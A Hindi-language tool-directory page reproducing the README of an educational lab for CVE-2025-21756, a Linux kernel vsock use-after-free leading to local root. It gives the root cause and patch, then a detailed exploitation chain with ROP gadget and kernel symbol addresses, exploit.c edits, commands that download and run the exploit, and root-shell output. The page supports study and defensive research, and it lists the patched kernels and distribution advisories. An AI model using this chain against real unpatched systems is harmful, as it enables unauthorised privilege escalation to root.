Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-21756 — शैक्षिक प्रयोगशाला जो Linux कर्नेल के vsock सबसिस्टम में use-after-free (UAF) शोषण का प्रदर्शन करती है, जिसका उद्देश्य स्थानीय विशेषाधिकार वृद्धि करके root बनना है, साथ ही स्वचालित सेटअप और ROP चेन विश्लेषण के साथ। | Kitploit
उपकरण/GitHubGitHub/h3raklez/cve-2025-21756
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणCTFलर्निंग और शिक्षाबाइनरी शोषणलैब और अभ्यास
GitHubh3raklez/cve-2025-21756

CVE-2025-21756

शैक्षिक प्रयोगशाला जो Linux कर्नेल के vsock सबसिस्टम में use-after-free (UAF) शोषण का प्रदर्शन करती है, जिसका उद्देश्य स्थानीय विशेषाधिकार वृद्धि करके root बनना है, साथ ही स्वचालित सेटअप और ROP चेन विश्लेषण के साथ।

रिपॉजिटरी देखें
15 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-21756 — शोषण प्रयोगशाला

केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए।

विवरण

CVE-2025-21756, Linux कर्नेल के vsock (वर्चुअल सॉकेट) सबसिस्टम में एक use-after-free (UAF) भेद्यता है, जिसे 26 फरवरी 2025 को प्रकट किया गया था। यह एक स्थानीय हमलावर को प्रभावित Linux सिस्टम पर रूट तक विशेषाधिकार बढ़ाने की अनुमति देता है।

  • CVSS v3.1: 7.8 (HIGH)
  • Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE: CWE-416 (Use-After-Free)
  • प्रभावित घटक: net/vmw_vsock/af_vsock.c
  • प्रभावित कर्नेल: Linux 6.6.75 (और पुराने बिना पैच वाले संस्करण)

मूल कारण

यह बग vsock सॉकेट के ट्रांसपोर्ट पुनर्निर्धारण के दौरान होता है। भेद्य अनुक्रम इस प्रकार है:

  1. vsock_create() सॉकेट को refcnt=2 के साथ बनाता है और इसे अनबाउंड सूची में डालता है
  2. transport->release() यह जाँचे बिना vsock_remove_bound() को कॉल करता है कि सॉकेट बाउंड सूची में स्थानांतरित हुआ था या नहीं, जिससे refcnt गलत तरीके से घटता है
  3. vsock_bind() मानता है कि सॉकेट अभी भी अनबाउंड सूची में है और _vsock_remove_bound() को फिर से कॉल करता है
  4. refcnt समय से पहले 0 तक पहुँचता है → vsock ऑब्जेक्ट को संदर्भित रहते हुए मुक्त कर दिया जाता है → UAF

लागू किया गया पैच

root@kitploit:~
void vsock_remove_sock(struct vsock_sock *vsk)
{
-    vsock_remove_bound(vsk);
+    if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+        vsock_remove_bound(vsk);
     vsock_remove_connected(vsk);
}

शोषण श्रृंखला

  1. UAF ट्रिगर करें — विभिन्न ट्रांसपोर्ट उत्पन्न करने वाले CIDs के साथ लगातार दो connect() कॉल, vsock_bind_table में जुड़े रहते हुए vsock ऑब्जेक्ट को समय से पहले मुक्त करवा देते हैं
  2. Slab मुक्त करना — SLUB आंशिक सूचियों को खाली किया जाता है ताकि पीड़ित पृष्ठ को पृष्ठ आवंटक को लौटाया जा सके
  3. पृष्ठ स्प्रे — मुक्त पृष्ठ को order-2 संदेशों (MIGRATE_UNMOVABLE) के साथ unix_dgram_sendmsg का उपयोग करके पुनः प्राप्त किया जाता है, और इसे नियंत्रित डेटा से भर दिया जाता है
  4. साइड-चैनल — vsock_diag_dump (जो AppArmor द्वारा संरक्षित नहीं है) को साइड-चैनल के रूप में उपयोग किया जाता है ताकि यह पता लगाया जा सके कि पृष्ठ कब पुनः प्राप्त हुआ था और पृष्ठ के भीतर पीड़ित ऑब्जेक्ट का सटीक ऑफसेट स्थित किया जा सके
  5. RIP अपहरण — sk->sk_prot को udp_prot+0x1c0 (udp_abort) की ओर इंगित करने के लिए अधिलेखित किया जाता है, जो कॉल किए जाने पर sk->sk_error_report(sk) को आमंत्रित करता है, जिसका पॉइंटर स्टैक पिवट गैजेट से अधिलेखित हो जाता है
  6. ROP श्रृंखला — प्रक्रिया को रूट क्रेडेंशियल प्रदान करने के लिए commit_creds(init_cred) निष्पादित किया जाता है, उसके बाद यूज़रस्पेस पर लौटने के लिए KPTI ट्रैम्पोलिन का उपयोग किया जाता है

आवश्यकताएँ

  • Debian 12 या 13 x86_64 (Debian 13 पर परीक्षण किया गया)
  • sudo एक्सेस वाला सामान्य उपयोगकर्ता
  • न्यूनतम RAM: 1 GB
  • खाली डिस्क स्थान: 10 GB

प्रयोगशाला सेटअप

root@kitploit:~
# Download the setup script
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh

# Run as a normal user (not root)
./setup-lab.sh

स्क्रिप्ट स्वचालित रूप से निम्नलिखित संभालती है:

  • sudo उपलब्ध न होने पर उसे स्थापित करना
  • सभी आवश्यक निर्भरताएँ स्थापित करना (build-essential, qemu-system-x86, bc, pahole, आदि)
  • आधिकारिक Google kCTF वातावरण डाउनलोड करना (कर्नेल lts-6.6.75, rootfs, ramdisk)
  • ktranowl एक्सप्लॉइट डाउनलोड करना और आवश्यक पैच लागू करना
  • एक्सप्लॉइट संकलित करना
  • सही मापदंडों के साथ निष्पादन वातावरण बनाना
  • एकमात्र प्रवेश बिंदु के रूप में run_lab.sh बनाना

प्रयोगशाला चलाना

root@kitploit:~
cd ~/cve-2025-21756-lab
./run_lab.sh

वातावरण बूट होने के बाद, इसके अंदर निम्नलिखित चलाएँ:

root@kitploit:~
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit

अपेक्षित आउटपुट

root@kitploit:~
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)

बाहर निकलने के लिए: Ctrl-A X


मूल एक्सप्लॉइट में लागू किए गए संशोधन

आधार एक्सप्लॉइट ktranowl से है। इसे इस वातावरण में कार्यशील बनाने के लिए निम्नलिखित संशोधन लागू किए गए:

1. KASLR अक्षम

संशोधन: कर्नेल बूट मापदंडों में nokaslr जोड़ा गया।

कारण: मूल एक्सप्लॉइट EntryBleed का उपयोग करके KASLR को बायपास करता है, जो एक TLB टाइमिंग साइड-चैनल तकनीक है जिसके लिए सटीक CPU टाइमिंग की आवश्यकता होती है। नेस्टेड वर्चुअलाइज़ेशन वातावरण में EntryBleed के विश्वसनीय रूप से कार्य करने के लिए rdtsc परिशुद्धता अपर्याप्त है, जिसके परिणामस्वरूप गलत kbase उत्पन्न होता है और ADDRESS() के साथ गणना किए गए सभी पते गलत हो जाते हैं। KASLR को अक्षम करने से यह सुनिश्चित होता है कि कर्नेल हमेशा 0xffffffff81000000 पर लोड होता है और एक्सप्लॉइट में हार्डकोडेड ऑफसेट हमेशा सही रहते हैं।

2. user_rip को modeprobe_exec से check_root में बदला गया

exploit.c में संशोधन:

root@kitploit:~
// Before
uint64_t user_rip = (uint64_t)modeprobe_exec;

// After
uint64_t user_rip = (uint64_t)check_root;

कारण: modeprobe_exec रिमोट kCTF वातावरण के लिए मूल एक्सप्लॉइट में उपयोग की जाने वाली विशेषाधिकार वृद्धि तकनीक है। इसके लिए कमांड-लाइन तर्कों (रिमोट सर्वर का IP और पोर्ट) और बाहरी नेटवर्क कनेक्टिविटी की आवश्यकता होती है। उन तर्कों के बिना, argv[1] पढ़ने का प्रयास करते समय प्रक्रिया GPF के साथ क्रैश हो जाती है। check_root सीधे uid की पुष्टि करता है और /bin/sh निष्पादित करता है, जो स्थानीय वातावरण में शोषण प्रदर्शित करने के लिए पर्याप्त है।

3. check_root के अंदर modeprobe_exec कॉल हटाया गया

exploit.c में संशोधन:

root@kitploit:~
void check_root() {
    if (getuid() == 0) {
        puts("[*] I AM ROOT");
-       modeprobe_exec();        // removed
        char binsh[] = "/bin/sh";
        char* const argv[] = {binsh, NULL};
        execve("/bin/sh", argv, 0);
    }
}

कारण: user_rip के check_root की ओर इंगित करने के बावजूद, यह फ़ंक्शन /bin/sh निष्पादित करने से पहले आंतरिक रूप से modeprobe_exec को फिर से कॉल करता था। आवश्यक तर्कों के बिना, उस कॉल ने GPF उत्पन्न किया और प्रक्रिया शेल खोले बिना समाप्त हो गई, हालाँकि commit_creds पहले ही विशेषाधिकारों को सफलतापूर्वक बढ़ा चुका था।


ROP श्रृंखला और प्रतीक विश्लेषण

प्रयोगशाला सेटअप प्रक्रिया के दौरान, सभी कर्नेल प्रतीकों और ROP गैजेट्स को आधिकारिक kCTF lts-6.6.75 कर्नेल के विरुद्ध सत्यापित किया गया ताकि यह पुष्टि हो सके कि वे इस वातावरण के लिए मान्य हैं।

ROP गैजेट्स

एक्सप्लॉइट में उपयोग किए गए तीन गैजेट्स को vmlinux बाइनरी पर ROPgadget का उपयोग करके आधिकारिक कर्नेल से निकाला गया और पुष्टि की गई कि वे हार्डकोडेड मानों से बिल्कुल मेल खाते हैं:

इनमें से किसी में भी संशोधन की आवश्यकता नहीं थी।

कर्नेल प्रतीक

निम्नलिखित प्रतीकों को कर्नेल के अंदर /proc/kallsyms के विरुद्ध सत्यापित किया गया (nokaslr के साथ, ऑफसेट निश्चित हैं):

सभी मान एक्सप्लॉइट में मूल मानों से मेल खाते थे। किसी संशोधन की आवश्यकता नहीं थी।

address_contain_udp_abort पर टिप्पणी

यह मान सीधे udp_abort फ़ंक्शन की ओर इंगित नहीं करता है। यह udp_prot + 0x1c0 की ओर इंगित करता है, जो struct proto के अंदर diag_destroy फ़ील्ड है। यह जानबूझकर किया गया है: vsock_release sk->sk_prot->close(sk, 0) को कॉल करता है, जहाँ close struct proto के ऑफसेट 0 पर होता है। sk_prot को udp_prot की शुरुआत के बजाय udp_prot->diag_destroy पर इंगित करके, कर्नेल diag_destroy को ऐसे पढ़ता है जैसे वह close पॉइंटर हो, जिसमें होता है। यह → में श्रृंखलित होता है, जहाँ स्टैक पिवट गैजेट रखा जाता है।

root@kitploit:~
vsock_release(sk)
└── sk->sk_prot->close(sk)         ← sk_prot points to udp_prot+0x1c0
    └── udp_abort(sk)              ← diag_destroy field, read as close()
        └── sk_error_report(sk)
            └── sk->sk_error_report(sk)  ← stack pivot gadget
                └── ROP chain
                    └── commit_creds(init_cred)
                        └── kpti_trampoline → root shell


शमन

आधिकारिक पैच कर्नेल 6.14-rc1 से उपलब्ध है और इसे सभी अनुरक्षित LTS शाखाओं में बैकपोर्ट किया गया है। प्रभावित वितरणों ने अपनी स्वयं की सलाहकारियाँ जारी की हैं:

  • Ubuntu: USN-7361-1 और बाद के संस्करण
  • RHEL/CentOS: RHSA-2025:7903
  • SUSE: SUSE-SU-2025:01919-1 और बाद के संस्करण

संदर्भ


अस्वीकरण

यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है। उन प्रणालियों के विरुद्ध अनधिकृत उपयोग, जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, अवैध है। लेखक किसी भी दुरुपयोग के लिए उत्तरदायी नहीं है।

टूल डाउनलोड करें
  • रूट शेल — uid=0 के साथ execve("/bin/sh")
  • गैजेटपताउद्देश्य
    pop rax ; and eax, ... ; pop rsp ; jmp ...0xffffffff8122ad32स्टैक पिवट — RSP को नियंत्रित vsock ऑब्जेक्ट की शुरुआत में ले जाता है
    add rsp, 0xb8 ; jmp ...0xffffffff8170292cस्टैक अग्रिम — ROP श्रृंखला तक पहुँचने के लिए आरक्षित फ़ील्ड्स को छोड़ता है
    pop rdi ; ret0xffffffff8115e4f9commit_creds(init_cred) के लिए पहला तर्क लोड करता है
    प्रतीकपताटिप्पणियाँ
    vsock_bind_table[0x7a]0xffffffff84bc6280साइड-चैनल एंकर — vsock सूची स्लॉट जहाँ पीड़ित ऑब्जेक्ट स्थित होता है
    init_net0xffffffff84bb1f80vsock_diag_dump के माध्यम से नकली vsock ऑब्जेक्ट को मान्य करने के लिए उपयोग किया जाता है
    commit_creds0xffffffff811fdac0वर्तमान प्रक्रिया को रूट क्रेडेंशियल प्रदान करता है
    init_cred0xffffffff83c74d80कर्नेल आधार से निश्चित ऑफसेट पर uid=gid=0 वाली क्रेडेंशियल संरचना
    kpti_trampoline0xffffffff826011a6swapgs_restore_regs_and_return_to_usermode+0x36 — CR3 को पुनर्स्थापित करता है और यूज़रस्पेस पर लौटता है
    address_contain_udp_abort0xffffffff83ef28e0udp_prot + 0x1c0 — नीचे टिप्पणी देखें
    udp_abort
    sk_error_report(sk)
    sk->sk_error_report(sk)
    पहलूमूल (ktranowl)यह प्रयोगशाला
    KASLR बायपासEntryBleed (TLB टाइमिंग)अक्षम (nokaslr)
    विशेषाधिकार वृद्धि तकनीकcore_pattern के माध्यम से modeprobe_execसीधे execve("/bin/sh")
    लक्ष्य वातावरणरिमोट kCTFस्थानीय
    बाहरी कनेक्टिविटी आवश्यकहाँनहीं
    संसाधनURL
    मूल राइटअप (Hoefler)https://hoefler.dev/articles/vsock.html
    Hoefler एक्सप्लॉइटhttps://github.com/hoefler02/CVE-2025-21756
    n-day विश्लेषण (ktranowl)https://hackmd.io/@ktranowl/H1XRm4zBxl
    ktranowl एक्सप्लॉइटhttps://github.com/khoatran107/cve-2025-21756
    आधिकारिक पैचhttps://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fcdd2242c023
    NVDhttps://nvd.nist.gov/vuln/detail/CVE-2025-21756
    kCTF नियमhttps://google.github.io/security-research/kernelctf/rules.html